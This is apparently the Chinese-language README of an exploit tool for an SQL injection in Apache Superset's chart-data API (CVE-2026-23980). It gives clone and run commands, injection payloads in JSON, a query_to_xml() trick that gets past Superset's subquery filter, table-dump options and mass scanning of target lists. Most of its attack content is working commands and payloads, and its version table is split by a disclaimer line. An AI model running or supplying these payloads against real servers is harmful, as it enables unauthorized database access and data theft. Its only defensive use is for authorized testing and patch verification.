____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression 直接进入查询。没有参数化。没有希望。
Apache Superset < 6.0.0 允许具有读取权限的认证用户通过 /api/v1/chart/data 端点中的 sqlExpression 或 where 参数执行基于错误的 SQL 注入。
validate_adhoc_subquery() 过滤器通过 PostgreSQL XML 函数(query_to_xml 等)被绕过,这些函数将 SQL 作为函数参数执行,对 sqlparse 分词器不可见。
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc 列 sqlExpression / extras.where 注入
-> validate_adhoc_subquery() 通过 query_to_xml() 被绕过
-> 原始 SQL 到达 PostgreSQL
-> CAST((...) AS INT) 错误在响应中泄露数据
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# 数据库版本
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# 数据库用户
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# 列出表
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# 当前用户
python3 exploit.py ... --sql "SELECT current_user"
当 validate_adhoc_subquery() 阻止你的查询时(检测到 FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
这会将查询包装在 query_to_xml() 中,从而对分词器隐藏 FROM 子句。
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression(默认)- 注入到列定义中:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - 注入到 extras.where 子句中:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
该利用工具使用 PostgreSQL 的类型转换来泄露数据:
CAST((SELECT version()) AS INT)
PostgreSQL 无法将字符串转换为整数,因此会抛出:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
泄露的值从 API 响应中的错误消息中解析出来。
Superset 的 has_table_query() 扫描 FROM/JOIN 以检测子查询。PostgreSQL 的 query_to_xml() 执行 SQL 但将其隐藏为函数参数:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
分词器看到的是函数调用,而不是 FROM 子句,从而绕过过滤器。
| 版本 | 状态 |
|---|---|
| < 4.0.2 | 存在漏洞(无 XML 函数黑名单) |
此工具仅用于授权的安全研究。仅可对你有明确测试许可的系统使用。作者不对滥用行为负责。
| 4.0.2 |
| 部分修复(CVE-2024-39887 - 将部分 XML 函数加入黑名单) |
| 4.1.0 | 扩展黑名单(更多 XML 函数) |
| 4.1.2 | 修复行级安全绕过(CVE-2025-48912) |
| 6.0.0 | 完全修复 CVE-2026-23980 |